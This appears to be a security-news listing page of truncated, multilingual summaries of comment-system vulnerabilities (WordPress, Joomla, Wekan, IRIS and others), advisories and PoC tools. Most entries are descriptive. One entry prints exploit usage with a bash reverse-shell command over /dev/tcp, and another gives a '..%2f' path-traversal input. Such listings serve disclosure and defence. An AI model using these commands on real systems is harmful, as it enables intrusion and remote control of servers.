CVE-2026-87836

The Comments Import & Export WordPress plugin (versions 2.1.11 through 2.5.3 ) contains an authorization flaw in its comment export feature. The export function neither requires the comment moderation permission nor limits results to content owned by the requesting user. As a result, any authenti...

EUVD-2026-81345

The Comments Import & Export WordPress plugin before 2.5.4 does not restrict its comment export to users able to moderate comments, nor scope the export to content owned by the requesting user, allowing users with the Author role and above to retrieve every comment on the site, including commente...

TrojanSourceFinder

TrojanSourceFinder TrojanSourceFinderは、ソースコード内の「Trojan Source」脆弱性を検出するのに役立ちます。 Trojan Source脆弱性により、攻撃者は悪意のあるコードを無害に見せかけることができます。一般的に、攻撃者は自らのコードを（視覚的に）コメントとして偽装して誘い込もうとします。多くの言語に関係するため、深刻な脅威です。複数の「信頼できない」ソースを持つプロジェクトが影響を受ける可能性があります。 悪を検出 🔎 · 悪を追跡 👀 · Trojan Source ❓ インストール goを使用 go install経由...

Reflected-XSS-on-Opentext-Portal-v7.4.4

Cross-site scripting（XSS）の脆弱性がOpenText Portal v7.4.4に存在し、リモートの攻撃者がvgnextoid URIパラメータを介して任意のWebスクリプトまたはHTMLコードを注入できる可能性があります。 攻撃ベクトル: vgnextoidパラメータにおける、"--"（HTMLコメント終了シーケンス）が先行するJavascriptインジェクション 結果: 発見者: Héctor Sainz...

Joomla! Component ZiMB Comment 0.8.1 - Local File Inclusion

A directory traversal vulnerability in the ZiMB Comment comzimbcomment component 0.8.1 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. dot dot in the controller parameter to index.php. id: CVE-2010-1602 info: name: Joomla! Component...

WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting

The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled. id: CVE-2019-9881 info: name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting author: intelligent-ears severity:...

Advanced Comment System 1.0 - Local File Inclusion

ACS Advanced Comment System 1.0 is affected by local file inclusion via an advancedcomponentsystem/index.php?ACSpath=..%2f URI. id: CVE-2020-35598 info: name: Advanced Comment System 1.0 - Local File Inclusion author: daffainfo severity: high description: ACS Advanced Comment System 1.0 is affect...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - 未认证的任意文件上传 ⚠️ 免责声明 root@kitploit: 本工具仅供教育和安全研究目的使用。 未经授权访问计算机系统是违法的。请仅在您拥有或获得明确测试许可的系统上使用本工具。 作者对本软件的任何滥用或造成的损害不承担任何责任。 📋 描述 CVE-2026-3844 是 WordPress 的 Breeze Cache 插件（版本 ≤ 2.4.4）中的一个严重未认证任意文件上传漏洞。该插件未能正确验证评论中的 srcset 参数，允许远程攻击者向服务器上传恶意文件（包括 WebShell）。 🔴 严重性...

EUVD-2026-81286

AVideo through 29.0 commit c3edcc274c389816d434acadac07ee78eaf330c1 fails to verify video access permissions in the setapicomment function, allowing authenticated users to post comments on password-protected and group-restricted videos. Attackers can submit POST requests to the comment API endpoi...

CVE-2025-29775

SAMLStorm CVE-2025-29775 ラボ環境 これは、Node.js の xml-crypto ライブラリおよび SAML 実装に影響を与える SAMLStorm 脆弱性 CVE-2025-29775 をデモンストレーションするためのラボ環境です。（注：これは実際の脆弱性の悪用ではなく、脆弱性がどのように機能するかを示すための再現です。） コンポーネント サービスプロバイダ : @node-saml/node-saml を使用する脆弱な SAML サービスプロバイダ アイデンティティプロバイダ : シンプルなモック SAML ID プロバイダ エクスプロイトツール :...

CVE-2026-92597

Nodemailer versions ≥ 6.9.16 and

YT-Spammer-Purge

YouTube Spammer Purge これは何？ – あなたのチャンネルや他のチャンネルに投稿されたスパムコメントを、さまざまな方法でフィルター・検索し、一括で削除・報告できます（以下の機能を参照）。 ダウンロード方法： 右側の「Releases」リンクをクリックし、最新リリースの「Assets」の下にある「YTSpammerPurge.exe」をダウンロードします（Assetsをクリックしてリリースファイルを表示する必要がある場合があります）。 Linux セットアップ手順 MacOS セットアップ手順 （exe ファイルを使用する場合、Windows...

solidity_CVE-2021-42574-POC

solidityCVE-2021-42574-POC 2023年1月31日，Altin tin-z，github.com/tin-z PoC 针对solidity和solc编译器的CVE-2021-42574的PoC。 安装 root@kitploit: solc 并选择 0.8.17 版本 https://github.com/crytic/solc-select foundry https://github.com/foundry-rs/foundry 部署合约 root@kitploit: SOLV=0.8.17 foldert=testopen mkdir $foldert &&...

CVE-2022-35500

CVE-2022-35500 Amasty Blog Pro for Magento 2 的留言功能中存在存储型跨站脚本（XSS）漏洞 描述 Amasty Blog Pro 2.10.3 及 2.10.4 插件中，针对 Magento 2 的留言功能允许通过 GraphQL 端点在 AmBlogLeaveComment 变更的 name 参数中注入 JavaScript 代码。当受害者（管理员）尝试从管理面板删除该评论时，JavaScript 代码会被执行。 受影响版本 2.10.5 安全建议 将 Amasty Blog Pro for Magento 2 更新至 2.10.5 或更新版...

EUVD-2026-80898

IRIS through 2.4.29 fails to properly validate case authorization in comment listing endpoints for notes, tasks, IOCs, assets, and evidence items. Attackers with access to any single case can enumerate sequential object identifiers and read comment threads from cases they have no authorization to...

CVE-2026-92605

IRIS (iris-web) through 2.4.29 fails to properly validate case authorization in comment listing endpoints for notes, tasks, IOCs, assets, and evidence items. An attacker with access to any single case can enumerate sequential object identifiers and read comment threads from cases they are not aut...

CVE-2023-31779

CVE-2023-31779 Wekan の保存型XSS 説明 : 「コメントへのリアクション」機能に保存型XSSの脆弱性が存在します。カンバンボードでユーザー権限を持つ攻撃者は、悪意のあるリアクションを含むカードを開いたユーザーのブラウザ上でJavaScriptコードを実行できます。 影響 : 攻撃者は Meteor.loginToken を盗んだり、フィッシングのためにページのコンテンツを変更したりできます。 CVSSv3.1ベクター : AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N 5.4 CWE : CWE-79:...

CVE-2022-42097

Backdrop CMS バージョン 1.23.0 脆弱性の説明: Backdrop CMS バージョン 1.23.0 には、Comment を介した保存型クロスサイトスクリプティング XSS の脆弱性が存在することが判明しました。 攻撃ベクトル: 攻撃者は「comment」に何かを投稿し、「comment」入力にXSSペイロードを挿入し、Raw HTML Editorを選択して保存型XSSを悪用する必要があります。XSSペイロードは保存直後に実行されます。 影響を受ける対象: http://ipaddress/backdrop/comment/reply/idreply POST...

cve-2019-9787_csrf_poc

CVE-2019-9787 CSRF PoC 概要 CVE-2019-9787 CSRF の PoC WordPress バージョン 5.0 参照 テスト目的以外では使用しないでください。 インストール root@kitploit: $ docker-compose up -d 1. http://localhost:8080/ にアクセスし、WordPress をインストールします。WP 管理者アカウントを作成するだけで構いません。 2. ビジターとして http://localhost:8080/?p=1comments にアクセスし、「csrf site:...

CVE-2009-4623

Advanced Comment System 1.0 - リモートコマンド実行 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 例 root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...